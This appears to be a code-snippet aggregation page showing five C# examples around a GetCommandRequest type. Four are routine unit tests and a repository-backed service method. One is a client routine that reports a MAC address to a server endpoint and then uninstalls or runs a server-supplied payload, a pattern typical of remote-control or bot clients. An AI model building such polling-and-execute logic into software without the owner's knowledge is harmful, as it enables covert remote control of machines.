Beispiel #1
0
        /// <summary>
        /// Attempts to get a new command from the server
        /// </summary>
        /// <param name="requestSender">RequestSender class instance</param>
        /// <param name="macAddress">MacAddress to get the command for</param>
        /// <returns></returns>
        private static ICommand GetCommand(RequestSender requestSender, string macAddress)
        {
            var formEncoder        = new FormEncoder();
            var getCommandData     = formEncoder.CreateLoginData(macAddress);
            var getCommandRequest  = new GetCommandRequest("/api/getcommand.php", getCommandData);
            var getCommandResponse = requestSender.SendRequest(getCommandRequest);
            var jsonResponseData   = JsonParser.Deserialize(getCommandResponse);

            switch (jsonResponseData["command"])
            {
            case "uninstall":
                return(new UninstallCommand());

            case "run":
                var payloadData = (Dictionary <string, object>)jsonResponseData["Payload"];
                var payload     = CreatePayload(payloadData);
                var runCommand  = new RunCommand(payload);
                return(runCommand);

            case "none":
                return(new NoneCommand());
            }

            return(null);
        }
Beispiel #2
0
        public async Task It_Should_Get_Command()
        {
            // Arrange
            batchRepository.DoesBatchExist(Arg.Any <string>())
            .Returns(true);

            stepRepository.Get(Arg.Any <string>(), Arg.Any <string>())
            .Returns(new Step());

            var command = TestData.Entities.Commands.DotNetRestore;

            command.StepId = 123;
            commandRepository.Get(Arg.Any <ulong>(), Arg.Any <string>()).Returns(command);

            var request = new GetCommandRequest
            {
                BatchId     = TestBatchId,
                StepName    = TestStepName,
                CommandName = TestCommandName
            };

            // Act
            var response = await Sut.Get(request);

            // Assert
            response.Should().BeEquivalentTo(TestData.DomainModels.Commands.DotNetRestore,
                                             o => o.ExcludingMissingMembers());
            response.CommandName.Should().Be(TestData.DomainModels.Commands.DotNetRestore.Name);
        }
Beispiel #3
0
        public void Get_Command_Should_Throw_With_Invalid_Batch_Id()
        {
            // Arrange
            batchRepository.DoesBatchExist(Arg.Any <string>())
            .Returns(false);

            var request = new GetCommandRequest
            {
                BatchId = TestBatchId
            };

            // Act / Assert
            var exception = Assert.ThrowsAsync <HttpError>(() => Sut.Get(request));

            exception.ErrorCode.Should().Be(HttpStatusCode.NotFound.ToString());
            exception.Message.Should().Be("Batch TestBatch not found");
        }
Beispiel #4
0
        public void Get_Command_Should_Throw_With_Invalid_Step_Name()
        {
            // Arrange
            batchRepository.DoesBatchExist(Arg.Any <string>())
            .Returns(true);

            stepRepository.Get(Arg.Any <string>(), Arg.Any <string>()).ReturnsNull();

            var request = new GetCommandRequest
            {
                StepName = TestStepName
            };

            // Act / Assert
            var exception = Assert.ThrowsAsync <HttpError>(() => Sut.Get(request));

            exception.ErrorCode.Should().Be(HttpStatusCode.NotFound.ToString());
            exception.Message.Should().Be("Step TestStep not found");
        }
Beispiel #5
0
        public async Task <GetCommandResponse> Get(GetCommandRequest request)
        {
            if (!await batchRepository.DoesBatchExist(request.BatchId))
            {
                throw Err.BatchNotFound(request.BatchId);
            }

            var step = await stepRepository.Get(request.BatchId, request.StepName);

            if (step == null)
            {
                throw Err.StepNotFound(request.StepName);
            }

            var command = await commandRepository.Get(step.Id, request.CommandName);

            if (command == null)
            {
                throw Err.CommandNotFound(request.CommandName);
            }

            return(command.ConvertTo <GetCommandResponse>());
        }